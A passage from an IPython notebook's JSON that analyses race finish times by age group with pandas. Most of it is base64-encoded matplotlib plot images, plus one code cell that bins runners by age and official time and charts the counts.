JeN3tc9tR1s6rr13dWTunEufVR752dWft\nnEqcVx/52tWdD+eUbZPdZGZmauXKlcrNzY0e27lzp0499dQQV5V45eXlWrx4sXJzcxUEgTo7O9Xa\n2qqysrKwl5ZwVs6pZOe8ck79O6cS59XH88o59e+cSpxXH88r59Stc8q7TQIAAACAA9g2CQAAEIf2\n9vbox11dXdq3b586OjpCXFHyWGoF0lHm3Llz54a9iHT3xhtv6M///M/DXkbCfPTRR6qrq9N7772n\n4cOHR58mf/bZZ3XuueeGvLrEstS6ceNGbdmyRZFIRCtWrNCuXbu0fft2ZWdnKz8/P+zlJYyVTklq\nbGzUoUOHov+tXbtWQ4YM0dq1a3XGGWeEvbyEstS6efNmnXrqqaqvr9emTZu0c+dObd26VZFIRCNH\njgx7eQljpVOSlixZonHjxmn79u1av369JGn79u3avXu3Tj/99JBXl1iWWp988kk1NTXp4MGDGj58\nuAYN8vPVRlY6JenDDz/U6tWrtX37duXl5em1115TQ0ODurq6NGrUqLCX1yf+np1+6uzs1Mcff3zC\nz+3YsUOTJk1K8YqSZ926dZoxY4YkaeXKlRozZoyKioo0dOjQkFeWeJZad+3apenTp+uhhx7S7Nmz\nNXjwYElSdXW1ioqKwl1cAlnplKRnnnlGU6ZMiTbu2LFDX/3qV7Vjx45wF5YEllo/+OADjR8/Xn/4\nwx90+eWXR4+/+OKLXr0tt5VOSTp8+LAkacuWLbrsssuixxcuXBjWkpLGUuuoUaNUWVmppqYmrVu3\nTm1tbcrIyFBJSYmKi4vDXl7CWOmUpLVr1+rKK69UZ2enHnzwQc2ZM0cZGRlasGCBxo0bF/by+oTh\n7U8ikYgWLVqkiy+++LjPtbW1pX5BSZSR8f93y06ePFm1tbXeNR5lqfWoyy+/PPoA2GcWOu+44w7V\n1tYqNzdXEydO1Pbt23XWWWfptNNOC3tpCWep9SiX3t0sHhY6J0yYoNWrV6u4uFivv/66Jk2apIaG\nhhO+s53rLLUeVVBQEP0dYF1dXdq1a1fIK0oOC51HHxce/Xup++NEVzC8/UlGRoaKi4t11llnHfe5\nxsbGEFaUPOPGjdMbb7wRfTaxrKxMb775prZt2xbyyhLPUuvRd4Xq/uzT/v37lZOTE9KKksNKpyQN\nGTJElZWVOnDggJYsWaJ9+/ZJkkaMGBHyyhLPUquVd3az0ilJxcXFGjFihDZt2qSmpiZVV1dr7Nix\n0Z0fPrHU+t5776mtra3HPxRmZGR4t8vDSqf0xT8+LFu2TJ2dnZo5c6Z++9vfKjs7+4SP/9MV7zaJ\nqKamJnd+u3ycLLUCAADADwxvAAAAAOAA3m2ym+XLl2vo0KHKy8vrcbyjo0Nr1qxRJBLRsGHDQlpd\n4ljplGiV/Gu10inRKtHqMiudEq0SrS6z0in50cozb90cPnxYtbW12rFjh9rb26MvYszPz9fEiRO9\neQtcK50SrZJ/rVY6JVolWl1mpVOiVaLVZVY6JT9aGd4AAAAAwAHuvT8mAAAAABjE8AYAAAAADmB4\nAwAAAAAHMLwBAAAAgAMY3gAAAADAAQxvAAAAAOAAhjcAAAAAcADDGwAAAAA4YFDYCwAAIFW2bNmi\nd999V1lZWWppaVFlZaVGjRqlffv2adWqVRoyZIgOHTqkAwcOaMyYMaqsrNSRI0e0ePFiZWRkKBKJ\nKBKJ6G//9m+VkcG/fwIAUisSBEEQ9iIAAEi1jo4OLVmyRNOmTdNzzz2nb3/724pEIurq6tI999yj\n+++/X5K0ePFilZaW6tRTT5UkNTU1afPmzSovLw9z+QAAg3jmDQBgxrZt27RlyxZlZWUpIyNDnZ2d\nkqScnBxFIhFJUkZGhs4+++zo9zQ1NWnt2rU9ricrKyt1iwYA4E8Y3gAAJrS1tentt9/WzJkzJUnt\n7e16+eWXox8HQRB95m3r1q3R7ysuLtbXvvY1FRQURI8dOXIktYsHAEAMbwAAIwYPHqwgCLRo0SIF\nQaAgCPTuu+9qx44dmjx5sl544QXl5OSora1NRUVF0e/75je/qRUrVqitrU2SdPjwYX3lK1/RhRde\nGFIJAMAqXvMGAMAxqqurNWPGjLCXAQBADzzzBgCApPr6eu3atUvt7e0qLi4OezkAAByHZ94AAAAA\nwAH8khoAAAAAcADDGwAAAAA4gOENAAAAABzA8AYAAAAADmB4AwAAAAAH/D/a/s4c6senEwAAAABJ\nRU5ErkJggg==\n", "text": [ "<matplotlib.figure.Figure at 0x12dd29a50>" ] } ], "prompt_number": 101 }, { "cell_type": "code", "collapsed": false, "input": [ "#Q: What's the distribution of finish times *within* an age group... small multiples\n", "agegroups = range(15,90,5)\n", "agebins = pd.cut(df['age'], agegroups,\n", " labels=['{}-{}'.format(age,age+5) for age in agegroups][:-1])\n", "times = range(80, 530, 50)\n", "timebins = pd.cut(df['official'], times,\n", " labels=['{}-{}'.format(t, t+50) for t in times][:-1])\n", "age_and_time = df['official'].groupby([agebins, timebins]).aggregate(len)\n", "#age_and_time = age_and_time.to_frame()\n", "age_and_time.plot(kind=\"bar\")\n", "age_and_time.index.get_level_values(0)\n", "#age_and_time[\"(15, 20]\"]\n", "#x = [age_and_time[ax] for ax in age_and_time.axes[0].levels[0]]\n", "#x[0].values" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 180, "text": [ "Index([u'15-20', u'15-20', u'15-20', u'15-20', u'15-20', u'15-20', u'15-20', u'20-25', u'20-25', u'20-25', u'20-25', u'20-25', u'20-25', u'20-25', u'20-25', u'25-30', u'25-30', u'25-30', u'25-30', u'25-30', u'25-30', u'25-30', u'25-30', u'30-35', u'30-35', u'30-35', u'30-35', u'30-35', u'30-35', u'30-35', u'30-35', u'35-40', u'35-40', u'35-40', u'35-40', u'35-40', u'35-40', u'35-40', u'35-40', u'40-45', u'40-45', u'40-45', u'40-45', u'40-45', u'40-45', u'40-45', u'40-45', u'45-50', u'45-50', u'45-50', u'45-50', u'45-50', u'45-50', u'45-50', u'45-50', u'50-55', u'50-55', u'50-55', u'50-55', u'50-55', u'50-55', u'50-55', u'55-60', u'55-60', u'55-60', u'55-60', u'55-60', u'55-60', u'55-60', u'60-65', u'60-65', u'60-65', u'60-65', u'60-65', u'60-65', u'60-65', u'65-70', u'65-70', u'65-70', u'65-70', u'65-70', u'65-70', u'70-75', u'70-75', u'70-75', u'70-75', u'70-75', u'70-75', u'75-80', u'75-80', u'75-80', u'75-80', u'75-80', u'80-85', u'80-85'], dtype='object')" ] }, { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAA28AAAGbCAYAAABTU6jaAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3W+MVvWd///XNTDDMAULSgehRilKcEGqLVlpt2bwG7FO\nmmoG/9RVY/fOppus2cQ7Jr2ziTd+6Xazmt1kk02b9I4xhrZQwH/ggkYHsSgWUgWUgiIgAo74hz+V\nPzpzfjfYuZy5ONdc7znzmXO9P+c8Hwnp9Lpec67X+ZxzZuZ4nc+5KkmSJAIAAAAAuNbS7AIAAAAA\ngMY4eQMAAACACHDyBgAAAAAR4OQNAAAAACLAyRsAAAAARICTNwAAAACIwMRGgV27dukvf/mLBgYG\n9L3vfU+XXXaZnn76afX390uSrrzySi1atEiSdPToUb3wwguaMGGCli5dqlmzZo34OAAAAADApuHJ\n28cff6zbb79dkrRu3Tpddtllam9v180333xBduvWrbrvvvskSWvXrlVPT8+IjwMAAAAAbBqevHV1\ndV3wWH9/v1avXq0kSfStb31L3/3udyVJHR0d1UxbW1v163qPAwAAAABsGp68Ddq4caOuv/56SVJ3\nd3f18fXr11e/TpKk+nVra2vDxwEAAAAANqYblvT29mrevHmaMWPGBc8NPRkbnAcnSZVKpeHjAAAA\nAACbhu+8vfzyy5o5c6bmzJlTfezAgQO64oorJElnzpypPn769GlJ599pG/x6pMdrbdiwQRMmTBjd\nGgAAAABAQUybNk2LFy9OfW7Ek7e+vj698soruvrqq7V7926dPHlS999/vw4cOKCtW7dKkq677rpq\nfsmSJVqxYoWSJNGyZcsaPl5rwoQJ1flzAAAAAFA227dvr/vciJdNdnZ26uc//7l6enrU09Oj+++/\nX9L5m5jcdddduuuuuzRv3rxqfvbs2brnnnt07733qrOzs+HjVps3bx5zJsQyitjFkvHUxZKhS/aM\npy6WjKculgxdsmc8dbFk6JI946mLJUOX7BlPXSwZT10sGbpkz3jqUosP6QYAAACACFSSobeCbLIX\nXniByyYBAAAAlNb27dt10003pT7HO28AAAAAEIEoTt6Kdu2qpy6WjKculgxdsmc8dbFkPHWxZOiS\nPeOpiyVDl+wZT10sGbpkz3jqYsl46mLJ0CV7xlOXWlGcvAEAAABA2THnDQAAAACcYM4bAAAAAEQu\n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